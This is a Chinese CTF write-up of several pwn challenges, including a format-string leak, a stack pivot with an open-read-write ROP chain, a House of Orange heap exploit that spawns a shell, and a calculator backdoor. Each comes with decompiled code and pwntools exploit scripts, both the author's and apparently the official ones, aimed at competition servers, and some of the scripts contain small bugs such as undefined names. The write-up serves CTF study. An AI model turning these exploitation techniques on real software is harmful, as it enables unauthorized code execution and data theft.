fmt
考点
本题禁用了 $ 意味着不能随便在栈上任意输出了,而且输出格式字符串时处于的栈位置比 flag 深了非常多,直接用堆积格式控制符的方法也不能泄露flag 了,
本题先在根目录下放一个flag文件要不然打不开
gdb调了一下,发现flag这不就是在r9寄存器上吗,直接%p%p%p%p%s输出但是远程不行
大概率环境不同吧
接下来继续看
__int64 padded_work()
{
__int64 v1[140]; // [rsp+0h] [rbp-460h] BYREF
memset(&v1[14], 0, 1000);
memset(v1, 0, 110);
puts("what is your name?");
__isoc99_scanf("%100s", v1);
wrap_printf(v1);
puts("have anything else to say?");
__isoc99_scanf("%100s", v1);
return wrap_printf(v1);
}
貌似没有什么溢出那该怎么办呢
进入gdb调试一下
进入第一个padded函数
在这里要注意stack 200看的要多一些
输入可以看到flag就在rbp+0x10de位置可是我们只能输入100个字节因此无法通过%p泄露出flag
不过64位格式字符串前六个参数放在寄存器上,因此我们可以通过%p泄漏第七个参数
调试一下
此时第七个参数刚好是rsp的地址
计算器算出来偏移刚好是0x470
因此我们可以将flag地址打包写入栈上,刚好是第十五个就可以通过%s泄露出flag
exp
import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
context.log_level='debug'
context(os='linux', arch='amd64')
io=process('./pwn')
io = remote('competition.blue-whale.me',20160)
elf = ELF('./pwn')
#libc = ELF('./libc.so.6')
#libcc = cdll.LoadLibrary('./libc.so.6')
#libcc.srand(libcc.time(0))
def duan():
gdb.attach(io)
pause()
puts_got = elf.got['puts']
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
payload = b'%p%p%p%p%p%p%p'
io.recvuntil(b'what is your name?\n')
io.sendline(payload)
io.recvuntil('0x40097e')
stack = int(io.recv(14),16)+0x470
print(hex(stack))
io.recvuntil('have anything else to say?\n')
payload1 = b'%p%p%p%p%p%p%p%p%p%p%p%p%p%s%p%p'+p64(stack)
io.sendline(payload1)
io.interactive()
官方exp
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
#p=process('./padfmt')
p = remote('competition.blue-whale.me', 20252)
leak = b"%llx%llx%llx%llx%llx%llx_%llx__"
p.recvuntil(b"name")
p.sendline(leak)
fmt = int(p.recvuntil(b"__").split(b"_")[1], 16)
flag = fmt + 0x470
print(fmt, flag)
payload = b"%llx"*18+b"%llx"+b"%s__"+p64(flag)
#payload = b"%llx"*24+b"%lld%s__"+p64(flag)
p.sendline(payload)
p.recvuntil(b"bye")
stack
考点
本题开启了沙箱没法用 execve,只能用 open,write,read,exit,结合题目明示
flag 位置,考虑构造 orw 读取并输出 flag 内容
放入ida
可以看到类似于polar ctf的一道题
只能溢出0x10个字节
所以我们要用栈迁移的方法来
在这里我们用leave ret的方式进行栈迁移
先泄露rbp地址然后栈迁移构造orw读取flag
在这里我们需要注意一下啊
buf地址并没有可执行权限
如果有可执行权限我们可以用shellcraft 生成orw
exp
import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
context.log_level='debug'
context(os='linux', arch='amd64')
io = process('./pwn')
#io = remote('competition.blue-whale.me',20561)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
def duan():
gdb.attach(io)
duan()
pop_rdi = 0x400b93
leave_ret = 0x400a74
start = 0x400870
read= 0x400AEF
payload = b'a'*(0x140-8)+b'aaaaaaab'
io.recvuntil(b'please enter your content:\n')
io.send(payload)
io.recvuntil(b'aaaaaaab')
rbp = u64(io.recv(6).ljust(8, b'\x00'))
log.success('[rbp]:'+hex(rbp))
#duan()
stack = rbp-0x150
payload = (p64(stack)+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(read)).ljust(0x140, b'\x00')+p64(stack)+p64(leave_ret)
io.recvuntil(b'again:\n')
io.send(payload)
libc_puts = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = libc_puts-libc.symbols['puts']
print(libcbase)
#duan()
openn = libc_base+libc.symbols['open']
readd = libc_base+libc.symbols['read']
write = libc_base+libc.symbols['write']
pop_rdx = libc_base+0x1b92
pop_rsi = libc_base+0x202f8
payload = b'./flag\x00\x00'
payload += p64(pop_rdi)+p64(stack-0x140)+p64(pop_rsi)+p64(0)+p64(openn)
payload += p64(pop_rdi)+p64(3)+p64(pop_rsi) + p64(e.bss()+0x100) + p64(pop_rdx)+p64(0x100)+p64(readd)
payload += p64(pop_rdi)+p64(1)+p64(pop_rsi) + p64(e.bss()+0x100)+p64(pop_rdx)+p64(0x100)+p64(write)
payload = payload.ljust(0x140, b'\x00')+p64(stack-0x140)+p64(leave_ret)
#duan()
io.send(payload)
io.interactive()
运行一下下
官方exp
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
#p = process("./baby_stack")
p = remote("competition.blue-whale.me", 20405)
elf = ELF("./baby_stack")
libc = ELF("./libc-2.23.so")
puts_plt = 0x4007E0 # elf.plt['puts']
read_got = elf.got["read"]
pop_rdi_ret = 0x400B93
leave_ret = 0x400A74
func_addr = 0x400A76
# ret = 0x400799
payload1 = "a" * 0x140
p.sendafter("please enter your content:\n", payload1)
stack = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
success("stack -> {:#x}".format(stack))
buf = stack - 0x150
payload2 = (
p64(stack) + p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) +
p64(func_addr)
).ljust(0x140, b"\x00")
payload2 += p64(buf) + p64(leave_ret)
p.sendafter("please enter your content again:\n", payload2)
lib = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00")) - libc.sym["read"]
success("libc_base -> {:#x}".format(lib))
pop_rdi = lib + next(libc.search(asm("pop rdi;ret")))
pop_rsi = lib + next(libc.search(asm("pop rsi;ret")))
pop_rdx = lib + next(libc.search(asm("pop rdx;ret")))
open_addr = lib + libc.sym["open"]
write_addr = lib + libc.sym["write"]
read_addr = lib + libc.sym["read"]
payload3 = "a" * 0x140
p.sendafter("please enter your content:\n", payload3)
stack = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
success("stack -> {:#x}".format(stack))
buf = stack - 0x270
payload4 = (
b"./flag\x00\x00"
+ p64(pop_rdi)
+ p64(buf)
+ p64(pop_rsi)
+ p64(0)
+ p64(open_addr)
+ p64(pop_rdi)
+ p64(3)
+ p64(pop_rsi)
+ p64(buf)
+ p64(pop_rdx)
+ p64(0x100)
+ p64(read_addr)
+ p64(pop_rdi)
+ p64(1)
+ p64(pop_rsi)
+ p64(buf)
+ p64(pop_rdx)
+ p64(0x100)
+ p64(write_addr)
).ljust(0x140, b"\x00")
payload4 += p64(buf) + p64(leave_ret)
p.sendafter("please enter your content again:\n", payload4)
io.interactive()
摩登pwn
已经不想说什么
连接上tightvnc让你输入负数
可以看到这个操作会输出flag
gpt翻译
因此下面的判断是如果 v27 < 0 就输出 flag,题目限制了能输入的数字长度,但只要输个
232-1 至 231 之间的数字就行
直接输入最大的数flag就出了
4294967295
orange
在这卡了好几天
终于出了
放入ida看一下
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
sub_A50(a1, a2, a3);
while ( 1 )
{
while ( 1 )
{
puts("1.add");
puts("2.del");
puts("3.edit");
puts("4.show");
_isoc99_scanf("%d", &v3);
if ( v3 != 2 )
break;
sub_E17();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
sub_BE1();
}
else if ( v3 == 4 )
{
sub_D35();
}
}
else if ( v3 == 1 )
{
sub_AB1();
}
}
}
类似于简单的菜单题
add(0,0x108)
add(1,0x1f8)
add(2,0xe8)
add(3,0xe0)
创建了四个相连的堆块
泄露出基址
exp
import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
context.log_level = "debug"
context(os = 'linux',log_level = "debug",arch = 'amd64')
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
p=process('./pwn')
elf = ELF('./pwn')
libc=ELF('./libc-2.23.so')
add_idx = 1
delete_idx = 2
show_idx = 4
edit_idx = 3
def duan():
gdb.attach(p)
pause()
def choice(cho):
sla('4.show\n',cho)
def add(idx,size):
choice(add_idx)
sla('which index?\n',idx)
sla('what size?\n',size)
def delete(idx):
choice(delete_idx)
sla('which index?\n',idx)
def show(idx):
choice(show_idx)
sla('which index?\n',idx)
def edit(idx,content):
choice(edit_idx)
sla('which index?\n',idx)
sla('content:\n',content)
add(0,0x108)
add(1,0x1f8)
add(2,0xe8)
add(3,0xe0)
pay = b'a'*0x108+b'\xf1'
edit(0,pay)
delete(1)
ru('delete: ')
heap_base=int(r(14),16)-0x120
leak('heap_base ',heap_base)
add(1,0x1f8)
show(2)
ru('content:\n')
main_aren = u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
leak('main_aren ',main_aren)
#duan()
libc_base = main_aren - 0x3c4b78
leak('libc_base ',libc_base)
io_list_all = libc_base+libc.sym["_IO_list_all"]
system = libc_base+libc.sym["system"]
io = p64(0)+p64(io_list_all-0x10)
io += p64(0)+p64(1)
io = io.ljust(0xd8-0x10,b"\x00")
io += p64(heap_base+0x400)
io += p64(0)+b'\x00'
edit(1,b'\x00'*0x1f0+b'/bin/sh\x00'+b'\x61')
edit(2,io)
edit(3,p64(0)+p64(system))
add(4,0xe0)
itr()
运行一下
拿到shell、
官方exp
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
#p=process("./one_orange")
p = remote('competition.blue-whale.me', 20918)
libc=ELF("./libc-2.23.so")
def add(idx,size):
p.sendlineafter(b"4.show\n",b"1")
p.sendlineafter(b"which index?\n",bytes(str(idx), 'ascii'))
p.sendlineafter(b"what size?\n",bytes(str(size), 'ascii'))
def free(idx):
p.sendlineafter(b"4.show\n",b'2')
p.sendlineafter(b"which index?\n",bytes(str(idx), 'ascii'))
p.recvuntil(b'this is you want to delete: ')
return int(p.recv(14),16)
def edit(idx,content):
p.sendlineafter(b"4.show\n",b'3')
p.sendlineafter(b"which index?\n",bytes(str(idx), 'ascii'))
p.sendlineafter(b"content:\n",content)
def show(idx):
p.sendlineafter(b"4.show\n",b'4')
p.sendlineafter(b"which index?\n",bytes(str(idx), 'ascii'))
add(6,0x1a0)
add(7,0x170)
add(8,0xe0)
add(10,0x380)
add(9,0x380) # above for padding
add(0,0xe8)
add(1,0xf0)
add(2,0xe0)
payload=b'a'*0xe8+b'\xf1'
edit(0,payload)
heap_base=free(1)-0xc40
success("heap_base -> {:#x}".format(heap_base))
add(1,0x100)
payload2=p64(0)+p64(0x2c1)
edit(2,payload2)
add(3,0x380)
payload3=b'b'*(0x10-1)
edit(2,payload3)
show(2)
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-88- 0x10 -
libc.symbols['__malloc_hook']
success("libc_base -> {:#x}".format(libc_base))
io_list_all_addr=libc_base+libc.symbols['_IO_list_all']
system_addr=libc_base+libc.symbols['system']
payload = b"Y"*0x10
flag = b'/bin/sh\x00'
heap=heap_base+0xe10-0x18
fake_size = p64(0x61)
fd = p64(0)
bk = p64(io_list_all_addr - 0x10)
write_base = p64(1)
write_ptr = p64(2)
mode = p32(0)
vtable = p64(heap)
overflow = p64(system_addr)
payload = flag
payload = payload + fake_size
payload = payload + fd
payload = payload + bk
payload = payload + write_base
payload = payload + write_ptr
payload = payload + p64(0)*18
payload = payload + mode + p32(0) + p64(0) + overflow
payload = payload + vtable
edit(2,payload)
add(4,0x100)
p.interactive()
卡死欧计算器
怎么说呢很长的一段代码
int __cdecl handle_input()
{
int v1; // eax
int v2; // eax
int v3; // eax
OPInfo_0 *v4; // rax
int v5; // eax
int v6; // eax
int v7; // eax
int v8; // eax
char *end; // [rsp+18h] [rbp-B8h] BYREF
handle_input::$ABC3A5BA1621B0CECBED674EC3823104 op_stack; // [rsp+20h] [rbp-B0h]
handle_input::$B79843162A86359B3DBF089CA1AEDE1A num_stack; // [rsp+30h] [rbp-A0h]
int pre_res; // [rsp+4Ch] [rbp-84h] BYREF
double tmp; // [rsp+50h] [rbp-80h]
double r; // [rsp+58h] [rbp-78h]
double a; // [rsp+60h] [rbp-70h]
double b; // [rsp+68h] [rbp-68h]
double r_0; // [rsp+70h] [rbp-60h]
double a_0; // [rsp+78h] [rbp-58h]
double b_0; // [rsp+80h] [rbp-50h]
OPInfo_0 *prev; // [rsp+88h] [rbp-48h]
OPInfo_0 *curr; // [rsp+90h] [rbp-40h]
double r_1; // [rsp+98h] [rbp-38h]
double a_1; // [rsp+A0h] [rbp-30h]
double b_1; // [rsp+A8h] [rbp-28h]
OPInfo_0 *opi; // [rsp+B0h] [rbp-20h]
int err; // [rsp+BCh] [rbp-14h]
char *buf; // [rsp+C0h] [rbp-10h]
int i; // [rsp+CCh] [rbp-4h]
printf("input: ");
memset(input_buffer, 0, sizeof(input_buffer));
buf = fgets(input_buffer, 2000, stdin);
if ( !buf )
return 0;
pre_res = 0;
err = preprocess(buf, &pre_res);
if ( err )
{
handle_preprocess_err(buf, err, pre_res);
return 1;
}
else
{
num_stack.top = 0;
num_stack.arr = (double *)malloc(8LL * pre_res);
op_stack.top = 0;
op_stack.arr = (char *)malloc(pre_res);
*num_stack.arr = 0.0;
for ( i = 0; buf[i]; ++i )
{
if ( buf[i] != 32 )
{
if ( buf[i] > 47 && buf[i] <= 57 || buf[i] == 46 )
{
tmp = strtod(&buf[i], &end);
num_stack.arr[++num_stack.top] = tmp;
i = (_DWORD)end - (_DWORD)buf - 1;
}
else if ( buf[i] == 40 )
{
op_stack.arr[++op_stack.top] = 40;
}
else if ( buf[i] == 41 )
{
while ( op_stack.arr[op_stack.top] != 40 )
{
v1 = num_stack.top--;
b = num_stack.arr[v1];
v2 = num_stack.top--;
a = num_stack.arr[v2];
v3 = op_stack.top--;
v4 = lookup_op(op_stack.arr[v3]);
r = v4->op(a, b);
num_stack.arr[++num_stack.top] = r;
}
--op_stack.top;
}
else
{
curr = lookup_op(buf[i]);
while ( op_stack.top )
{
prev = lookup_op(op_stack.arr[op_stack.top]);
if ( !prev || curr->level > prev->level )
break;
v5 = num_stack.top--;
b_0 = num_stack.arr[v5];
v6 = num_stack.top--;
a_0 = num_stack.arr[v6];
r_0 = prev->op(a_0, b_0);
--op_stack.top;
num_stack.arr[++num_stack.top] = r_0;
}
op_stack.arr[++op_stack.top] = curr->sym;
}
}
}
while ( op_stack.top )
{
opi = lookup_op(op_stack.arr[op_stack.top]);
v7 = num_stack.top--;
b_1 = num_stack.arr[v7];
v8 = num_stack.top--;
a_1 = num_stack.arr[v8];
r_1 = opi->op(a_1, b_1);
--op_stack.top;
num_stack.arr[++num_stack.top] = r_1;
}
printf("result: %lf\n", num_stack.arr[num_stack.top]);
free(op_stack.arr);
free(num_stack.arr);
return 1;
}
}
可以看到
如果我们输入的字符为#时进入后门函数
import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
context.log_level='debug'
context(os='linux', arch='amd64')
io = process('./pwn')
#io = remote('47.100.137.175',31163)
elf = ELF('./pwn')
#libc = ELF('./libc.so.6')
#libcc = cdll.LoadLibrary('./libc.so.6')
#libcc.srand(libcc.time(0))
def duan():
gdb.attach(io)
pause()
io.recvuntil(b'input:')
io.sendline(b"()*()+1.27e-321")
io.recvuntil(b'input:')
io.sendline(b"0+(0+(0+(0+(0+(0+(0+(0+(0+(0+2.008776679223492e-139)))))))))")
io.interactive()
- 附件.zip 下载